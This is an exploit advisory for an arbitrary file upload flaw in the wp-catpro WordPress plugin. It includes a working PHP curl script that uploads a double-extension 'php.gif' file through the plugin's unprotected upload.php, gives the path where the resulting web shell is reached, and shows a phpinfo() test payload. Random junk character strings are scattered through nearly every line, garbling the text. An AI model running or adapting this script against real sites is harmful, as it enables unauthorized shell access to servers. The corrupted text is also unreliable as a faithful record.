Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability% a. G& t% n% V0 R
#-----------------------------------------------------------------------% a `7 D: S" R* s& z' @2 g+ T
1 }& {2 S- S& ]9 B% {
作者 => Zikou-167 C% d, @* E! S2 l! F. k& [
邮箱 => zikou16x@gmail.com
* v. \6 J# ?# [0 k* b8 p! l5 ?; p测试系统 : Windows 7 , Backtrack 5r3
2 V4 c# m+ J/ D3 h1 s! W: Z下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip* Y1 }* U/ ]$ o, r# D6 }7 T. f9 v
####
. d$ s4 |. d2 W7 o # z( C4 `! p/ Z0 o
#=> Exploit 信息:9 @$ K& H' r \( {7 M4 M
------------------& x6 [- ?9 D% B% t# K0 z
# 攻击者可以上传 file/shell.php.gif
! M, Q# I3 C% a9 u# ("jpg", "gif", "png") // Allowed file extensions0 X% Q" j9 s7 |
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)* q% r( H5 u3 t5 f* ^+ i
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)6 F, `+ X$ z( J/ g2 t0 `; e
------------------4 w( I+ u( h2 }0 v
7 X% D; W* B: J+ x3 L
#=> Exploit
, I; N7 M# R! L1 z-----------
$ o, q1 V7 Z3 J' j& \<?php
. B0 r k8 x! G4 N4 R, B( R6 Z/ Z) ^
0 ~4 t& H3 C- G, ~) O& j4 g$uploadfile="zik.php.gif";3 ~4 S0 \- u2 z2 v6 m! R. |; L
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");5 R& k6 O! J6 S
curl_setopt($ch, CURLOPT_POST, true);$ C5 m, N5 j& M- ` f
curl_setopt($ch, CURLOPT_POSTFIELDS,+ ?6 E, a: V1 t; t7 {" t/ V% S
array('Filedata'=>"@$uploadfile",+ u( z0 X7 O; P
'folder'=>'/wp-content/uploads/catpro/'));
2 Q/ t4 p& a0 gcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);4 U- v3 h* Z6 M" D+ Q( C+ h6 G
$postResult = curl_exec($ch);! [, r7 `$ C! ]' q. m5 D) N4 r
curl_close($ch);. F2 K7 n5 D. t6 O- R7 [, d
, Y- d0 ?, h0 i C0 f0 ~/ C" sprint "$postResult";
! m8 v7 @ A: o/ L) j% `) c * u. L" ~! w2 k/ q% B
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
1 q% x% I7 h7 W. o4 T2 q) K ?>
' a8 c- f; L$ O$ U4 p. d- I7 H<?php
1 z5 J# P E5 u% q, z% s* j+ F- tphpinfo();
: i9 _. k1 {) Z( J?> |